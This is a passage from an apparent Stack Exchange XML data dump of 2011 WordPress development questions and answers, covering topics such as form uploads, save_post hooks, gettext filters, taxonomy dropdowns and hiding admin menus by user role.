LastActivityDate="2011-07-12T22:14:17.593" />
  <row Id="22784" PostTypeId="2" ParentId="22765" CreationDate="2011-07-12T22:21:36.307" Score="0" ViewCount="" Body="&lt;p&gt;I think the problem is with your form tag missing &lt;code&gt;enctype=&quot;multipart/form-data&quot;&lt;/code&gt; so try changing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&quot; enctype=&quot;multipart/form-data&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and as a side note, if you want to redirect to the newly created post change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_redirect( 'http://domain.com' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_redirect( get_permalink($post_id));&#xA;exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;From the comments i understand that want the image to show inside the content, well that is a different thing but not that hard,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($attach_id &amp;gt; 0){&#xA;            //and if you want to set that image as Post  then use:&#xA;            update_post_meta($post_id,'_thumbnail_id',$attach_id);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($attach_id &amp;gt; 0){&#xA;    $post = get_post($post_id,'ARRAY_A');&#xA;    $image = wp_get_attachment_image_src( $attach_id );&#xA;    $image_tag = '&amp;lt;img src=&quot;'.$image[0].'&quot; width=&quot;'.$image[1].'&quot; height=&quot;'.$image[2].'&quot; /&amp;gt;';&#xA;&#xA;    //add image above the content&#xA;    $post['post_content'] = $image_tag . $post['post_content'];&#xA;&#xA;    //add image under the content&#xA;    //$post['post_content'] = $post['post_content'] . $image_tag;&#xA;&#xA;    $post_id =  wp_update_post( $post );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-12T22:59:56.803" LastActivityDate="2011-07-12T22:59:56.803" CommentCount="13" />
  <row Id="22786" PostTypeId="1" CreationDate="2011-07-12T22:49:35.227" Score="0" ViewCount="24" Body="&lt;p&gt;I need to check the day today, and the get_the_date() variable.  What I want to do is run an if statement as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if post date has been in the last 7 days, display image, else do nothing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I need to use this in multiple places in my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ideas?&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-07-12T22:49:35.227" Title="how to create a reusable date function in functions.php" Tags="&lt;date&gt;" CommentCount="1" />
  <row Id="22787" PostTypeId="2" ParentId="22764" CreationDate="2011-07-12T23:15:21.050" Score="1" ViewCount="" Body="&lt;p&gt;there is a filter hook you can use and it is &lt;code&gt;gettext&lt;/code&gt;&#xA;here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'gettext', 'wpse22764_gettext', 10, 2 );&#xA;function wpse22764_gettext( $translation, $original )&#xA;{&#xA;    if ( 'Excerpt' == $original ) {&#xA;        return 'My Excerpt label';&#xA;    }else{&#xA;        $pos = strpos($original, 'Excerpts are optional hand-crafted summaries of your');&#xA;        if ($pos !== false) {&#xA;            return  'My Excerpt description';&#xA;        }&#xA;    }&#xA;    return $translation;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-12T23:15:21.050" CommentCount="3" />
  <row Id="22788" PostTypeId="1" CreationDate="2011-07-13T00:24:41.377" Score="0" ViewCount="31" Body="&lt;p&gt;have spent half an hour hunting around on Google to solve this so any ideas greatly appreciated!&#xA;&lt;hr /&gt;&#xA;I'm using a bought theme running wp3.2 and the theme includes a few extra features Testimonials, Portfolio and Slider (they show in the admin, but aren't plugins)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm comfortable using &lt;code&gt;$role_objet-&amp;gt;remove_cap();&lt;/code&gt; in the funtions.php file to manage capabilities, but I'm not sure how to reference these features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I'm want to hide these menu items off for Editors.&lt;/p&gt;&#xA;" OwnerUserId="4386" LastActivityDate="2011-08-15T14:24:40.157" Title="Hiding custom theme functionality using capabilities" Tags="&lt;roles&gt;&lt;capabilities&gt;&lt;permissions&gt;&lt;3.2&gt;" AnswerCount="2" />
  <row Id="22789" PostTypeId="1" CreationDate="2011-07-13T00:40:12.810" Score="0" ViewCount="26" Body="&lt;p&gt;So this is weird....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a form I've created myself (not a plugin, this is what I mean by standalone), and for some strange reason it does &lt;strong&gt;not&lt;/strong&gt; post to the form's action when the form fields have data in them. However, when the fields are &lt;em&gt;empty&lt;/em&gt; it successfully posts to the other page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have turned off all validators and really am not sure why this is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to hook into a Wordpress function to allow for my own form submission?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realized my permalink structure is &lt;code&gt;/%category%/%postname%/&lt;/code&gt; so perhaps it cannot properly post to the URL since it's not an actual file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6744" LastActivityDate="2011-08-13T01:23:07.320" Title="Standalone form does not post to the url when form fields are populated (otherwise it does)" Tags="&lt;posts&gt;&lt;permalinks&gt;&lt;form&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22790" PostTypeId="2" ParentId="22776" CreationDate="2011-07-13T01:06:10.557" Score="0" ViewCount="" Body="&lt;p&gt;In my plugins I do a verification of the status of post is a revision. You can do something like this in the &quot;something process&quot; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function something_process($id, $post) {&#xA;    if ($post-&amp;gt;post_type == 'revision') return;&#xA;    echo 'hey there! I\'m going to cause a redirect warning, but you will see this line twice per submit!';&#xA;    //do_something_amazing();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding the &lt;code&gt;if ($post-&amp;gt;post_type == 'revision') return;&lt;/code&gt; line, you &quot;cancel&quot; the first call of function on WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to do a second change on the action hook too. Just change the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post',array(&amp;amp;$this,'something_process'),1,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post',array(&amp;amp;$this,'something_process'),1,2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like this you pass the second parameter on action &quot;save_post&quot; (the &lt;code&gt;$post&lt;/code&gt; variable)&lt;/p&gt;&#xA;" OwnerUserId="6803" LastActivityDate="2011-07-13T01:06:10.557" CommentCount="2" />
  <row Id="22791" PostTypeId="1" CreationDate="2011-07-13T01:36:31.163" Score="0" ViewCount="46" Body="&lt;p&gt;My custom Admin backend CSS is working perfectly to override default Wordpress styles.. except for the styles that come from colors-fresh.css. Why is that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'my_admin_head');&#xA;&#xA;//Dashboard CSS&#xA;function my_admin_head() {&#xA;wp_enqueue_style( 'my_admin_head', get_bloginfo( 'stylesheet_directory' ) . '/custom/admin.css', false, '1.0', 'all');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6984" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-13T03:54:21.890" LastActivityDate="2011-07-13T03:54:21.890" Title="How to override colors-fresh.css?" Tags="&lt;functions&gt;&lt;css&gt;&lt;wordpress.org&gt;" CommentCount="2" />
  <row Id="22792" PostTypeId="2" ParentId="22778" CreationDate="2011-07-13T04:04:29.587" Score="1" ViewCount="" Body="&lt;p&gt;Contact your host and/or check your error log, you might have to turn on more error reporting depending on what level it is set at, it could be any number of things including memory allocation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have multiple menus you can use &lt;code&gt;register_nav_menus&lt;/code&gt;&#xA;Reference:&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_nav_menus&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_nav_menus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add them to your template you use &lt;code&gt;wp_nav_menu&lt;/code&gt;&#xA;Reference:&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_nav_menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-13T04:09:55.527" LastActivityDate="2011-07-13T04:09:55.527" CommentCount="1" />
  <row Id="22793" PostTypeId="2" ParentId="22501" CreationDate="2011-07-13T04:17:28.590" Score="0" ViewCount="" Body="&lt;p&gt;I solved my problem !!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, jQuery &lt;strong&gt;can't parse an element at the root&lt;/strong&gt; stage. I juste wrap all my body content &lt;strong&gt;into a div&lt;/strong&gt;, and it works...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can also use &quot;&lt;strong&gt;filter&lt;/strong&gt;&quot; function instead of &quot;find&quot;.&lt;/p&gt;&#xA;" OwnerUserId="6901" LastActivityDate="2011-07-13T04:17:28.590" />
  <row Id="22794" PostTypeId="2" ParentId="22788" CreationDate="2011-07-13T05:12:43.590" Score="0" ViewCount="" Body="&lt;p&gt;If the theme is coded the right way then these features should by default only be available to users with &lt;code&gt;manage_themes&lt;/code&gt; capability and that capabilty is not given to editors by default.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-13T05:12:43.590" />
  <row Id="22795" PostTypeId="1" CreationDate="2011-07-13T05:22:50.933" Score="0" ViewCount="38" Body="&lt;p&gt;I have added buddy press in my Wordpress. I am running on localhost. I have also added an extra sign-up plugin &lt;code&gt;BP Xtra Signup&lt;/code&gt; for buddy press. now when I have gone through the registration process I didn't receive confirmation mail. though the name is listed in &lt;code&gt;wp-users&lt;/code&gt; table and also is displayed in admin dashboard. But I can't login with that username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interesting part is that when you try to login with wrong username it shakes the login form. But it doesn't happen when I try with correct username and it redirects to homepage of the site without actually sign in (i.e. session doesn't set). that means it verifies the username as correct username found from database and doesn't display shaking error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works when login with admin (who is the actual site admin when site was created).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the only thing that pushes my site back from moving ahead.&#xA;Thanks for support.&lt;/p&gt;&#xA;" OwnerUserId="6985" LastActivityDate="2011-08-01T12:50:05.153" Title="login for subscribers with buddy press" Tags="&lt;plugins&gt;&lt;wordpress.com&gt;&lt;login&gt;&lt;buddypress&gt;&lt;registration&gt;" AnswerCount="0" CommentCount="1" />
  <row Id="22796" PostTypeId="1" CreationDate="2011-07-13T05:38:36.767" Score="0" ViewCount="27" Body="&lt;p&gt;I created a page in wordpress and i tried to access the current logged in user via wp_get_current_user() and am getting error &quot;function undefined&quot;. please how do I make this function available in my page.&lt;/p&gt;&#xA;" OwnerUserId="6987" LastActivityDate="2011-08-13T17:23:30.897" Title="referencing the current user in a page i created in wordpress" Tags="&lt;functions&gt;&lt;users&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="22797" PostTypeId="2" ParentId="22776" CreationDate="2011-07-13T05:58:38.773" Score="0" ViewCount="" Body="&lt;p&gt;@Steve Functions hook to save_post are always called twice, Wordpress call functions hooked to save_post twice because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first time it saves the post revision.&lt;/li&gt;&#xA;&lt;li&gt;second time it saves the actual post.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; If you have disabled post revisions using &lt;code&gt;define('WP_POST_REVISIONS', false);&lt;/code&gt; then the save_post hook will be fired only once when the actual post will be saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tested the following code and it works as expected and the echo only runs once in the something_process function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; the way I have hooked to save_post&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Something Amazing&#xA;Plugin URI: http://www.somewhere.com/&#xA;Description: Displays something.&#xA;Author: Some guy&#xA;Version: 1.0&#xA;Author URI: http://www.somewhere.com/&#xA;*/&#xA;function call_something() {&#xA; return new something();&#xA;}&#xA;if (is_admin()) add_action('load-post.php','call_something');&#xA;&#xA;class something {&#xA;&#xA; public function __construct() {&#xA;  add_action('add_meta_boxes',array(&amp;amp;$this,'something_add_boxes'));&#xA;  add_action('save_post',array(&amp;amp;$this,'something_process'),1,2);&#xA; }&#xA;&#xA; public function something_add_boxes() {&#xA;  add_meta_box('something','Some Thing',array(&amp;amp;$this,'something_form'),'post','side','default');&#xA; }&#xA;&#xA; public function something_form($post,$args) {&#xA;  echo '&amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;somethingnew&quot; /&amp;gt;&amp;lt;/p&amp;gt;';&#xA; }&#xA;&#xA; public function something_process($id, $post_object) {&#xA;    // don't run the echo if this is an auto save&#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE )&#xA;        return;&#xA;&#xA;    // don't run the echo if the function is called for saving revision.&#xA;    if ( $post_object-&amp;gt;post_type == 'revision' )&#xA;        return;&#xA;&#xA;  echo 'hey there! I\'m going to cause a redirect warning, but you will see this line twice per submit!';&#xA;  //do_something_amazing();&#xA; }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-07-13T05:58:38.773" CommentCount="1" />
  <row Id="22798" PostTypeId="2" ParentId="22776" CreationDate="2011-07-13T06:13:01.490" Score="0" ViewCount="" Body="&lt;p&gt;You need make sure that your code is only being run when the post is saved and not when a revision or automatic save is being carried out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check if the current post id is indeed an actual post an not a revision or autosaved post by doing this (the actual post will always return a FALSE value):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_int( wp_is_post_revision( $id ) ) )&#xA;    return;&#xA;&#xA;if( is_int( wp_is_post_autosave( $id ) ) )&#xA;    return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5358" LastEditorUserId="5358" LastEditorDisplayName="" LastEditDate="2011-07-13T08:45:20.593" LastActivityDate="2011-07-13T08:45:20.593" />
  <row Id="22799" PostTypeId="2" ParentId="22796" CreationDate="2011-07-13T06:20:53.137" Score="0" ViewCount="" Body="&lt;p&gt;You can use following..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $current_user;&#xA;get_currentuserinfo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Than you can access everything as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current_user-&amp;gt;user_login,$current_user-&amp;gt;user_email...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is explanation...&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_currentuserinfo&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_currentuserinfo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-13T06:20:53.137" />
  <row Id="22800" PostTypeId="2" ParentId="21896" CreationDate="2011-07-13T06:29:43.790" Score="0" ViewCount="" Body="&lt;p&gt;There is a built-in RSS 2.0 feed. Let's assume your blog is &lt;code&gt;http://broodingthoughts.wordpress.com/&lt;/code&gt;. If you go to &lt;code&gt;http://broodingthoughts.wordpress.com/feed/&lt;/code&gt; you'll automatically be redirected to a RSS 2.0 feed of your blog. To confirm, look at the source. If it displays the following, like mine does, it's legit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&#xA;    xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;    xmlns:slash=&quot;http://purl.org/rss/1.0/modules/slash/&quot;&#xA;    xmlns:georss=&quot;http://www.georss.org/georss&quot; xmlns:geo=&quot;http://www.w3.org/2003/01/geo/wgs84_pos#&quot; xmlns:media=&quot;http://search.yahoo.com/mrss/&quot;&#xA;    &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're still having issues with displaying the content, check your RSS feed reader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another note, there are plenty of ways to freely host your non-profit's wordpress website while using wordpress.org (&lt;a href=&quot;http://en.support.wordpress.com/com-vs-org/&quot; rel=&quot;nofollow&quot;&gt;Wordpress.com vs. Wordpress.org&lt;/a&gt;). I know because I run a self-hosted Wordpress website for a non-profit on a free server. Most hosts give you your own subdomain like wordpress.com. If you're interested let me know and I'll point you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="6988" LastEditorUserId="6988" LastEditorDisplayName="" LastEditDate="2011-07-13T06:43:16.443" LastActivityDate="2011-07-13T06:43:16.443" />
  <row Id="22801" PostTypeId="2" ParentId="22708" CreationDate="2011-07-13T06:46:56.550" Score="0" ViewCount="" Body="&lt;p&gt;Just like i commented , this will create the dropdown if it doesn't exists  and will save it in the database&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    remove_meta_box('tagsdiv-book_author', 'book', 'normal');&#xA;&#xA;add_meta_box('custom-taxonomy-author-dropdown','Author','author_dropdowns_box','book','side','high');&#xA;&#xA;function author_dropdowns_box( $post ) {&#xA;    wp_nonce_field('custom-author-dropdown', 'author-dropdown-nonce');&#xA;&#xA;    echo &quot;Author:&quot;;&#xA;    echo &quot;&amp;lt;select id='bauthor' name='bauthor[]'&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;option value='0'&amp;gt;None&amp;lt;/option&amp;gt;&quot;;&#xA;    $options = get_option('bauthor_dropdown');&#xA;    if ($option !== false){&#xA;        echo $options;&#xA;    }else{&#xA;        $options = '';&#xA;        $terms = get_terms( 'book_author', 'hide_empty=0');&#xA;        $object_terms = wp_get_object_terms( $post-&amp;gt;ID, 'book_author', array('fields'=&amp;gt;'ids'));&#xA;        foreach ( $terms as $term ) {&#xA;&#xA;                if ( in_array($term-&amp;gt;term_id, $object_terms) ) {&#xA;                    $parent_id = $term-&amp;gt;term_id;&#xA;                    $options .= &quot;&amp;lt;option value='&quot;.$term-&amp;gt;term_id.&quot;' selected='selected'&amp;gt;&quot;.$term-&amp;gt;name.&quot;&amp;lt;/option&amp;gt;&quot;;&#xA;                } else {&#xA;                    $options .= &quot;&amp;lt;option value='&quot;.$term-&amp;gt;term_id.&quot;'&amp;gt;&quot;.$term-&amp;gt;name.&quot;&amp;lt;/option&amp;gt;&quot;;&#xA;                }&#xA;&#xA;        }&#xA;        update_option('bauthor_dropdown',$options);&#xA;        echo $options;&#xA;    }&#xA;    echo &quot;&amp;lt;/select&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;}&#xA;&#xA;add_action('save_post','save_my_custom_taxonomy');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and all that is left is to clear the list when you add/edit/delete a term of that taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//clear the list when a new term is created: or edited&#xA;add_action('edit_book_author','clear_on_add',10,2);&#xA;add_action('created_book_author','clear_on_add',10,2);&#xA;function clear_on_add($term_id, $tt_id){&#xA;    delete_option('bauthor_dropdown');&#xA;}&#xA;&#xA;//clear the list when a term is deleted:&#xA;add_action('delete_term', 'clear_on_delete',10,3);&#xA;function clear_on_delete($term, $tt_id, $taxonomy){&#xA;    if ($taxonomy == &quot;book_author&quot;){&#xA;        delete_option('bauthor_dropdown');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-13T06:46:56.550" />
  <row Id="22802" PostTypeId="1" AcceptedAnswerId="23134" CreationDate="2011-07-13T07:16:30.967" Score="2" ViewCount="113" Body="&lt;p&gt;Hierarchical taxonomy of custom post type 'projects' &gt; 'projects_category'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two example 'projects_category' hierarchies would be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Big Corporates &gt; 1st Company Name &gt; A Post Title&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Small Business &gt; 2nd Company Name &gt; Another Post Title&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can get &lt;strong&gt;'1st Company Name'&lt;/strong&gt; with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $terms = get_the_terms($post-&amp;gt;ID, 'projects_category');foreach($terms as $term){echo $term-&amp;gt;name;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I display 'Big Corporates' or 'Small Business' as appropriate in single.php ?&lt;/p&gt;&#xA;" OwnerUserId="4316" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-13T10:42:47.873" LastActivityDate="2011-07-16T07:31:44.483" Title="get taxonomy name of current post" Tags="&lt;custom-taxonomy&gt;&lt;terms&gt;&lt;hierarchical&gt;&lt;single&gt;" AnswerCount="3" />
  <row Id="22803" PostTypeId="2" ParentId="22732" CreationDate="2011-07-13T07:36:29.847" Score="0" ViewCount="" Body="&lt;p&gt;Ok, so it turns out the solution is slightly embarrassing on my part and I couldn't see the forest for the trees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that was executed by the cron job was trying to check the contents of a variable that is set via a radio button on the admin / plugin activation page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, the part of the code to save the image (inside an if statement) was not being accessed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just goes to show how much of an issue a small error can become when there's no access to any error logs or outputs.&lt;/p&gt;&#xA;" OwnerUserId="6973" LastActivityDate="2011-07-13T07:36:29.847" />
  <row Id="22804" PostTypeId="1" CreationDate="2011-07-13T07:45:46.323" Score="1" ViewCount="85" Body="&lt;p&gt;It seems that $post is only available to hooks executing at certain times.  I have an &quot;init&quot; hook that needs to pull some data from the database using the $post-&gt;ID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far my only workaround has been to add another filter on the_content, that uses $post to get the information I need.  Unfortunately, it also echoes the return value to the screen, and fails to actually return it to the function that called the filter originally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that extracts the data I need, but echoes and fails to return the value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'get_keyword');&#xA;function get_keyword()&#xA;{&#xA;    global $post;&#xA;    $keyword = get_post_meta( $post-&amp;gt;ID, '_wpg_def_keyword', true );&#xA;    return $keyword;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestion on how to get what I need and have it pass back to the calling function for later use in the plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  To possibly make this more clear, I have a filter running at init, that needs to be able to retrieve information on the current post from the DB.  To do this, it requires access to $post-&gt;ID.  But that is not possible within init, so how can I get the result I need?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jonathan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLVED:&#xA;Turns out the answer was simply to use url_to_postid like this:&#xA;$keyword = get_post_meta( url_to_postid( &quot;http://&quot;.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] ), '_wpg_def_keyword', true );&#xA;Works perfectly even from init.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6990" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-07-15T05:26:35.480" LastActivityDate="2011-07-15T05:26:35.480" Title="SOLVED: get $post in init filter or action?" Tags="&lt;hooks&gt;" CommentCount="5" />
  <row Id="22805" PostTypeId="2" ParentId="22788" CreationDate="2011-07-13T07:52:27.177" Score="0" ViewCount="" Body="&lt;p&gt;If what you want to do is to hide the menu items you can make use of    &lt;code&gt;remove_menu_page&lt;/code&gt; and          &lt;code&gt;remove_submenu_page&lt;/code&gt; by hooking into &lt;code&gt;admin_menu&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to hide certain links based on the user's role (in your case, Editor):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_remove_menus(){&#xA;&#xA;    // Get current user's data&#xA;    $current_user = wp_get_current_user();&#xA;    $user_id = $current_user-&amp;gt;ID;&#xA;&#xA;    // Check user's roles   &#xA;    $user = new WP_User( $user_id );&#xA;    if ( !empty( $user-&amp;gt;roles ) &amp;amp;&amp;amp; is_array( $user-&amp;gt;roles ) ) {&#xA;        if( in_array( 'editor', $user-&amp;gt;roles ) ) {&#xA;            // Remove menu items&#xA;            remove_menu_page( 'edit.php?post_type=news' );&#xA;            remove_submenu_page( 'edit.php?post_type=news', 'post-new.php?post_type=news');&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;add_action( 'admin_menu', 'custom_remove_menus' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can hover over the menus to see what the link is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as noted in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_menu_page&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please be aware that this would not prevent a user from accessing these screens directly.  Removing a menu does not replace the need to filter a user's permissions as appropriate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5358" LastActivityDate="2011-07-13T07:52:27.177" />
  <row Id="22806" PostTypeId="1" CreationDate="2011-07-13T07:59:50.807" Score="0" ViewCount="27" Body="&lt;p&gt;I would like to add default setting to my plugin.&#xA;The thing is I'm using settings_fields() to save the options in database and the option is in an array even if I &#xA;have only one option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/default options&#xA;&#xA;&#xA;function default_option() {&#xA;update_option ('mbgalerie_sample','1');&#xA;}&#xA;register_activation_hook(__FILE__,'default_option');    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it's not working. It's for a multiuser setup. I want that when a user registers the default option is added in the database&#xA;i.e in wp_'blog_id'_options where the options are saved&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'galerie_init' );&#xA;function galerie_init(){&#xA;register_setting( 'galerie_options', 'mbgalerie_sample', 'galerie_validate' );&#xA;}&#xA;&#xA;&#xA;//default options&#xA;&#xA;&#xA;function default_option() {&#xA;update_option ('mbgalerie_sample','1');&#xA;}&#xA;register_activation_hook(__FILE__,'default_option');    &#xA;&#xA;&#xA;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&#xA;&amp;lt;h2 class=&quot;titre&quot;&amp;gt;Options&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;&#xA;settings_fields('galerie_options'); &#xA;$op = get_option('mbgalerie_sample'); &#xA;$galerytype=$op['galerytype'];&#xA;&#xA;if (isset ($_GET['settings-updated']) AND $_GET['settings-updated']=='true')&#xA;{&#xA;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div class=&quot;updated fade&quot; id=&quot;message&quot;&amp;gt;&amp;lt;p&amp;gt;options 